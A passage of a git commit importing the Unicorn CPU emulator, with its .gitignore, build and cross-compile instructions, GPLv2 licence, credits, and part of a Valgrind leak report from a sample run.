This commit is contained in:
Nguyen Anh Quynh 2015-08-21 15:04:50 +08:00
commit 344d016104
499 changed files with 266445 additions and 0 deletions

81
.gitignore vendored Normal file
View file

@ -0,0 +1,81 @@
.DS_Store
*.swp
*.d
*.o
*.a
qemu/config-all-devices.mak
i386-softmmu/
arm-softmmu/
aarch64-softmmu/
mips-softmmu/
mips64-softmmu/
mipsel-softmmu/
mips64el-softmmu/
sparc-softmmu/
sparc64-softmmu/
m68k-softmmu/
qapi-types.h
qapi-visit.h
x86_64-softmmu/
tags
qemu/config-host.ld
qemu/config.log
qemu/config.status
qemu/config-host.h
qemu/config-host.h-timestamp
qemu/config-host.mak
qemu/qapi-types.c
qemu/qapi-visit.c
sample_x86
sample_x86.exe
sample_x86.static
sample_arm
sample_arm.exe
sample_arm.static
sample_arm64
sample_arm64.exe
sample_arm64.static
sample_mips
sample_mips.exe
sample_mips.static
sample_sparc
sample_sparc.exe
sample_sparc.static
shellcode
shellcode.exe
shellcode.static
sample_m68k
sample_m68k.exe
sample_m68k.static
libunicorn*.dll
libunicorn*.so
libunicorn*.dylib
unicorn.pc
unicorn.lib
unicorn.dll
unicorn_*.lib
unicorn_*.dll
docs/paper/*.dvi
docs/paper/*.ps
docs/paper/*.pdf
docs/paper/*.htm
docs/paper/*.log
*.tgz
*.zip
*.pyc
_*.txt
_*.diff
tmp/
bindings/python/build/
config.log

2
AUTHORS.TXT Normal file
View file

@ -0,0 +1,2 @@
Nguyen Anh Quynh <aquynh -at- gmail.com>
Dang Hoang Vu <dang.hvu -at- gmail.com>

218
COMPILE.TXT Normal file
View file

@ -0,0 +1,218 @@
This documentation explains how to compile, install & run Unicorn on MacOSX,
Linux, *BSD & Solaris. We also show steps to cross-compile for Microsoft Windows.
*-*-*-*-*-*
[0] Dependencies
Unicorn requires few dependent packages as followings
- For Mac OS X, "pkg-config" is needed.
Brew users can install "pkg-config" with:
$ brew install pkg-config
- For Linux, glib2-dev is needed.
Ubuntu/Debian users can install this with:
$ sudo apt-get install libglib2.0-dev
- For Windows, cross-compile using Mingw. Mingw-glib2 is needed.
On Ubuntu 14.04 64-bit, do:
1. Download DEB packages for Mingw64 from https://launchpad.net/~greg-hellings/+archive/ubuntu/mingw-libs/+build/2924251
2. To cross-compile for Windows 32-bit, install Mingw with (ignore all the warnings):
$ sudo dpkg -i --force-depends mingw64-x86-glib2_2.31.0_all.deb
To cross-compile for Windows 64-bit, install Mingw with:
$ sudo dpkg -i --force-depends mingw64-x64-glib2_2.31.0_all.deb
[1] Tailor Unicorn to your need.
Out of 8 archtitectures supported by Unicorn (Arm, Arm64, Mips, PPC, Sparc,
SystemZ, XCore & X86), if you just need several selected archs, choose which
ones you want to compile in by editing "config.mk" before going to next steps.
By default, all 8 architectures are compiled.
The other way of customize Unicorn without having to edit config.mk is to
pass the desired options on the commandline to ./make.sh. Currently,
Unicorn supports 3 options, as followings.
- UNICORN_ARCHS: specify list of architectures to compiled in.
- UNICORN_STATIC: build static library.
- UNICORN_SHARED: build dynamic (shared) library.
To avoid editing config.mk for these customization, we can pass their values to
make.sh, as followings.
$ UNICORN_ARCHS="arm aarch64 x86" ./make.sh
NOTE: on commandline, put these values in front of ./make.sh, not after it.
For each option, refer to docs/README for more details.
[2] Compile from source
On *nix (such as MacOSX, Linux, *BSD, Solaris):
- To compile for current platform, run:
$ ./make.sh
- On 64-bit OS, run the command below to cross-compile Unicorn for 32-bit binary:
$ ./make.sh nix32
[3] Install Unicorn on *nix (such as MacOSX, Linux, *BSD, Solaris)
To install Unicorn, run:
$ sudo ./make.sh install
For FreeBSD/OpenBSD, where sudo is unavailable, run:
$ su; ./make.sh install
Users are then required to enter root password to copy Unicorn into machine
system directories.
Afterwards, run ./tests/test* to see the tests disassembling sample code.
NOTE: The core framework installed by "./make.sh install" consist of
following files:
/usr/include/unicorn/unicorn.h
/usr/include/unicorn/x86.h
/usr/include/unicorn/arm.h
/usr/include/unicorn/arm64.h
/usr/include/unicorn/mips.h
/usr/include/unicorn/ppc.h
/usr/include/unicorn/sparc.h
/usr/include/unicorn/m68k.h
/usr/include/unicorn/platform.h
/usr/lib/libunicorn.so (for Linux/*nix), or /usr/lib/libunicorn.dylib (OSX)
/usr/lib/libunicorn.a
[4] Cross-compile for Windows from *nix
To cross-compile for Windows, Linux & gcc-mingw-w64-i686 (and also gcc-mingw-w64-x86-64
for 64-bit binaries) are required.
- To cross-compile Windows 32-bit binary, simply run:
$ ./make.sh cross-win32
- To cross-compile Windows 64-bit binary, run:
$ ./make.sh cross-win64
Resulted files libunicorn.dll, libunicorn.dll.a & tests/test*.exe can then
be used on Windows machine.
To run sample_x86.exe on Windows 32-bit, you need the following files:
- unicorn.dll
- /usr/i686-w64-mingw32/sys-root/mingw/bin/libglib-2.0-0.dll
- /usr/lib/gcc/i686-w64-mingw32/4.8/libgcc_s_sjlj-1.dll
- /usr/i686-w64-mingw32/lib/libwinpthread-1.dll
To run sample_x86.exe on Windows 64-bit, you need the following files:
- unicorn.dll
- /usr/x86_64-w64-mingw32/sys-root/mingw/bin/libglib-2.0-0.dll
- /usr/lib/gcc/x86_64-w64-mingw32/4.8/libgcc_s_sjlj-1.dll
- /usr/x86_64-w64-mingw32/lib/libwinpthread-1.dll
Then run either "sample_x86.exe -32" or "sample_x86.exe -64" to test emulators for X86 32-bit or X86 64-bit.
For other architectures, run "sample_xxx.exe" found in the same directory.
[5] Cross-compile for iOS from Mac OSX.
To cross-compile for iOS (iPhone/iPad/iPod), Mac OSX with XCode installed is required.
- To cross-compile for ArmV7 (iPod 4, iPad 1/2/3, iPhone4, iPhone4S), run:
$ ./make.sh ios_armv7
- To cross-compile for ArmV7s (iPad 4, iPhone 5C, iPad mini), run:
$ ./make.sh ios_armv7s
- To cross-compile for Arm64 (iPhone 5S, iPad mini Retina, iPad Air), run:
$ ./make.sh ios_arm64
- To cross-compile for all iDevices (armv7 + armv7s + arm64), run:
$ ./make.sh ios
Resulted files libunicorn.dylib, libunicorn.a & tests/test* can then
be used on iOS devices.
[6] Cross-compile for Android
To cross-compile for Android (smartphone/tablet), Android NDK is required.
NOTE: Only ARM and ARM64 are currently supported.
$ NDK=/android/android-ndk-r10e ./make.sh cross-android arm
or
$ NDK=/android/android-ndk-r10e ./make.sh cross-android arm64
Resulted files libunicorn.so, libunicorn.a & tests/test* can then
be used on Android devices.
[7] Compile on Windows with Cygwin
To compile under Cygwin gcc-mingw-w64-i686 or x86_64-w64-mingw32 run:
- To compile Windows 32-bit binary under Cygwin, run:
$ ./make.sh cygwin-mingw32
- To compile Windows 64-bit binary under Cygwin, run:
$ ./make.sh cygwin-mingw64
Resulted files libunicorn.dll, libunicorn.dll.a & tests/test*.exe can then
be used on Windows machine.
[8] By default, "cc" (default C compiler on the system) is used as compiler.
- To use "clang" compiler instead, run the command below:
$ ./make.sh clang
- To use "gcc" compiler instead, run:
$ ./make.sh gcc
[9] To uninstall Unicorn, run the command below:
$ sudo ./make.sh uninstall
[10] Language bindings
So far, only Python is supported by bindings in the main code.
Look for the bindings under directory bindings/, and refer to README file
of corresponding languages.

339
COPYING Normal file
View file

@ -0,0 +1,339 @@
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License.

42
CREDITS.TXT Normal file
View file

@ -0,0 +1,42 @@
This file credits all the contributors of the Unicorn engine project.
Key developers
==============
Nguyen Anh Quynh <aquynh -at- gmail.com>
Dang Hoang Vu <dang.hvu -at- gmail.com>
Beta testers (in no particular order)
==============================
Nguyen Tan Cong
Loi Anh Tuan
Edgar Barbosa
Joxean Koret
Chris Eagle
Jay Little, Trail of Bits
Jeong Wook Oh
Luis Miras
Yan Shoshitaishvili, Shellphish & UC Santa Barbara
Erik Fischer
Darel Griffin, NCC Group
Anton Cherepanov
Mohamed Saher (halsten)
Tyler Colgan
Jonathon Reinhart, jonathon.reinhart at gmail.com
Blue Skeye
Chris Maixner
Pancake "radare"
Ryan Hileman
Tim "diff" Strazzere
WanderingGlitch of the Zero Day Initiative
Sascha Schirra
François Serman
Contributors (in no particular order)
=====================================
(Please let us know if you want to have your name here)
Nguyen Tan Cong
Loi Anh Tuan

237
LEAK_VALGRIND Normal file
View file

@ -0,0 +1,237 @@
==25446== Memcheck, a memory error detector
==25446== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==25446== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info
==25446== Command: ./samples/sample_x86.static -32
==25446==
==25446== Warning: set address range perms: large range [0xe30000, 0x14e30000) (defined)
==25446== Conditional jump or move depends on uninitialised value(s)
==25446== at 0x4379C1: tcg_target_init_x86_64 (tcg-target.c:2280)
==25446== by 0x437F8F: tcg_context_init_x86_64 (tcg.c:372)
==25446== by 0x4481A8: cpu_gen_init_x86_64 (translate-all.c:132)
==25446== by 0x448953: tcg_exec_init_x86_64 (translate-all.c:709)
==25446== by 0x40D390: tcg_init (accel.c:44)
==25446== by 0x40D5E5: accel_init_machine (accel.c:114)
==25446== by 0x40D3D5: configure_accelerator (accel.c:71)
==25446== by 0x40D8B6: machine_initialize (vl.c:128)
==25446== by 0x404F95: uc_open (uc.c:245)
==25446== by 0x403637: test_i386 (in /home/w00d/Workspace/unicorn/samples/sample_x86.static)
==25446== by 0x404A90: main (in /home/w00d/Workspace/unicorn/samples/sample_x86.static)
==25446==
==25446== Conditional jump or move depends on uninitialised value(s)
==25446== at 0x4379F3: tcg_target_init_x86_64 (tcg-target.c:2295)
==25446== by 0x437F8F: tcg_context_init_x86_64 (tcg.c:372)
==25446== by 0x4481A8: cpu_gen_init_x86_64 (translate-all.c:132)
==25446== by 0x448953: tcg_exec_init_x86_64 (translate-all.c:709)
==25446== by 0x40D390: tcg_init (accel.c:44)
==25446== by 0x40D5E5: accel_init_machine (accel.c:114)
==25446== by 0x40D3D5: configure_accelerator (accel.c:71)
==25446== by 0x40D8B6: machine_initialize (vl.c:128)
==25446== by 0x404F95: uc_open (uc.c:245)
==25446== by 0x403637: test_i386 (in /home/w00d/Workspace/unicorn/samples/sample_x86.static)
==25446== by 0x404A90: main (in /home/w00d/Workspace/unicorn/samples/sample_x86.static)
==25446==
==25446== Thread 2:
==25446== Conditional jump or move depends on uninitialised value(s)
==25446== at 0x4849B2: disas_insn (translate.c:4748)
==25446== by 0x492DC2: gen_intermediate_code_internal_x86_64 (translate.c:8382)
==25446== by 0x492FF7: gen_intermediate_code_x86_64 (translate.c:8429)
==25446== by 0x448288: cpu_x86_gen_code (translate-all.c:175)
==25446== by 0x4494F2: tb_gen_code_x86_64 (translate-all.c:1087)
==25446== by 0x43310D: tb_find_slow_x86_64 (cpu-exec.c:356)
==25446== by 0x433290: tb_find_fast_x86_64 (cpu-exec.c:384)
==25446== by 0x432C68: cpu_x86_exec (cpu-exec.c:203)
==25446== by 0x40C49A: tcg_cpu_exec_x86_64 (cpus.c:178)
==25446== by 0x40C515: tcg_exec_all_x86_64 (cpus.c:199)
==25446== by 0x40C2F5: qemu_tcg_cpu_thread_fn_x86_64 (cpus.c:132)
==25446== by 0x15C6D353: start_thread (in /usr/lib/libpthread-2.21.so)
==25446==
==25446==
==25446== HEAP SUMMARY:
==25446== in use at exit: 8,062 bytes in 156 blocks
==25446== total heap usage: 583 allocs, 427 frees, 32,993,443 bytes allocated
==25446==
==25446== Thread 1:
==25446== 7 bytes in 1 blocks are definitely lost in loss record 50 of 150
==25446== at 0x15A59F90: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==25446== by 0x161D6559: g_malloc (in /usr/lib/libglib-2.0.so.0.4400.1)
==25446== by 0x161EEDFE: g_strdup (in /usr/lib/libglib-2.0.so.0.4400.1)
==25446== by 0x445132: memory_region_init_x86_64 (memory.c:898)
==25446== by 0x445BEC: memory_region_init_ram_x86_64 (memory.c:1152)
==25446== by 0x4422A3: memory_map_x86_64 (memory.c:36)
==25446== by 0x4057C1: uc_mem_map (uc.c:552)
==25446== by 0x40366F: test_i386 (in /home/w00d/Workspace/unicorn/samples/sample_x86.static)
==25446== by 0x404A90: main (in /home/w00d/Workspace/unicorn/samples/sample_x86.static)
==25446==
==25446== 8 bytes in 1 blocks are definitely lost in loss record 52 of 150
==25446== at 0x15A5C080: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==25446== by 0x161D65B1: g_malloc0 (in /usr/lib/libglib-2.0.so.0.4400.1)
==25446== by 0x40C362: qemu_tcg_init_vcpu_x86_64 (cpus.c:155)
==25446== by 0x40C223: qemu_init_vcpu_x86_64 (cpus.c:95)
==25446== by 0x456C07: x86_cpu_realizefn (cpu.c:2292)
==25446== by 0x4129EF: device_set_realized (qdev.c:184)
==25446== by 0x411AAD: property_set_bool (object.c:1504)
==25446== by 0x410234: object_property_set (object.c:829)
==25446== by 0x4122BB: object_property_set_qobject (qom-qobject.c:24)
==25446== by 0x4104E4: object_property_set_bool (object.c:897)
==25446== by 0x45072A: pc_new_cpu (pc.c:105)
==25446== by 0x4507E3: pc_cpus_init (pc.c:130)
==25446==
==25446== 48 bytes in 1 blocks are definitely lost in loss record 102 of 150
==25446== at 0x15A5C080: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==25446== by 0x161D65B1: g_malloc0 (in /usr/lib/libglib-2.0.so.0.4400.1)
==25446== by 0x40C377: qemu_tcg_init_vcpu_x86_64 (cpus.c:156)
==25446== by 0x40C223: qemu_init_vcpu_x86_64 (cpus.c:95)
==25446== by 0x456C07: x86_cpu_realizefn (cpu.c:2292)
==25446== by 0x4129EF: device_set_realized (qdev.c:184)
==25446== by 0x411AAD: property_set_bool (object.c:1504)
==25446== by 0x410234: object_property_set (object.c:829)
==25446== by 0x4122BB: object_property_set_qobject (qom-qobject.c:24)
==25446== by 0x4104E4: object_property_set_bool (object.c:897)
==25446== by 0x45072A: pc_new_cpu (pc.c:105)
==25446== by 0x4507E3: pc_cpus_init (pc.c:130)
==25446==
==25446== 144 bytes in 1 blocks are definitely lost in loss record 139 of 150
==25446== at 0x15A5C080: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==25446== by 0x161D65B1: g_malloc0 (in /usr/lib/libglib-2.0.so.0.4400.1)
==25446== by 0x44BBB7: tcg_cpu_address_space_init_x86_64 (exec.c:403)
==25446== by 0x40C347: qemu_tcg_init_vcpu_x86_64 (cpus.c:150)
==25446== by 0x40C223: qemu_init_vcpu_x86_64 (cpus.c:95)
==25446== by 0x456C07: x86_cpu_realizefn (cpu.c:2292)
==25446== by 0x4129EF: device_set_realized (qdev.c:184)
==25446== by 0x411AAD: property_set_bool (object.c:1504)
==25446== by 0x410234: object_property_set (object.c:829)
==25446== by 0x4122BB: object_property_set_qobject (qom-qobject.c:24)
==25446== by 0x4104E4: object_property_set_bool (object.c:897)
==25446== by 0x45072A: pc_new_cpu (pc.c:105)
==25446==
==25446== 320 bytes in 1 blocks are definitely lost in loss record 140 of 150
==25446== at 0x15A5C080: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==25446== by 0x161D65B1: g_malloc0 (in /usr/lib/libglib-2.0.so.0.4400.1)
==25446== by 0x44D669: qemu_ram_alloc_from_ptr_x86_64 (exec.c:1092)
==25446== by 0x44D752: qemu_ram_alloc_x86_64 (exec.c:1111)
==25446== by 0x445C28: memory_region_init_ram_x86_64 (memory.c:1156)
==25446== by 0x4422A3: memory_map_x86_64 (memory.c:36)
==25446== by 0x4057C1: uc_mem_map (uc.c:552)
==25446== by 0x40366F: test_i386 (in /home/w00d/Workspace/unicorn/samples/sample_x86.static)
==25446== by 0x404A90: main (in /home/w00d/Workspace/unicorn/samples/sample_x86.static)
==25446==
==25446== 360 (96 direct, 264 indirect) bytes in 1 blocks are definitely lost in loss record 141 of 150
==25446== at 0x15A59F90: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==25446== by 0x161D6559: g_malloc (in /usr/lib/libglib-2.0.so.0.4400.1)
==25446== by 0x40F68E: object_new_with_type (object.c:425)
==25446== by 0x40F6FD: object_new (object.c:436)
==25446== by 0x40D851: machine_initialize (vl.c:119)
==25446== by 0x404F95: uc_open (uc.c:245)
==25446== by 0x403637: test_i386 (in /home/w00d/Workspace/unicorn/samples/sample_x86.static)
==25446== by 0x404A90: main (in /home/w00d/Workspace/unicorn/samples/sample_x86.static)
==25446==
==25446== 601 (80 direct, 521 indirect) bytes in 1 blocks are definitely lost in loss record 142 of 150
==25446== at 0x15A5C080: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==25446== by 0x161D65B1: g_malloc0 (in /usr/lib/libglib-2.0.so.0.4400.1)
==25446== by 0x40FEFE: object_property_add (object.c:755)
==25446== by 0x411957: object_property_add_str (object.c:1464)
==25446== by 0x412219: object_instance_init (object.c:1699)
==25446== by 0x40F117: object_init_with_type (object.c:310)
==25446== by 0x40F0ED: object_init_with_type (object.c:306)
==25446== by 0x40F2EB: object_initialize_with_type (object.c:340)
==25446== by 0x40F6AE: object_new_with_type (object.c:426)
==25446== by 0x40F6FD: object_new (object.c:436)
==25446== by 0x410A57: object_get_root (object.c:1041)
==25446== by 0x412CF4: qdev_get_machine (qdev.c:278)
==25446==
==25446== 616 (80 direct, 536 indirect) bytes in 1 blocks are definitely lost in loss record 143 of 150
==25446== at 0x15A5C080: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==25446== by 0x161D65B1: g_malloc0 (in /usr/lib/libglib-2.0.so.0.4400.1)
==25446== by 0x40FEFE: object_property_add (object.c:755)
==25446== by 0x411957: object_property_add_str (object.c:1464)
==25446== by 0x412219: object_instance_init (object.c:1699)
==25446== by 0x40F117: object_init_with_type (object.c:310)
==25446== by 0x40F0ED: object_init_with_type (object.c:306)
==25446== by 0x40F2EB: object_initialize_with_type (object.c:340)
==25446== by 0x40F34C: object_initialize (object.c:348)
==25446== by 0x4450E7: memory_region_init_x86_64 (memory.c:892)
==25446== by 0x44E837: memory_map_init_x86_64 (exec.c:1572)
==25446== by 0x44E88D: cpu_exec_init_all_x86_64 (exec.c:1580)
==25446==
==25446== 616 (80 direct, 536 indirect) bytes in 1 blocks are definitely lost in loss record 144 of 150
==25446== at 0x15A5C080: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==25446== by 0x161D65B1: g_malloc0 (in /usr/lib/libglib-2.0.so.0.4400.1)
==25446== by 0x40FEFE: object_property_add (object.c:755)
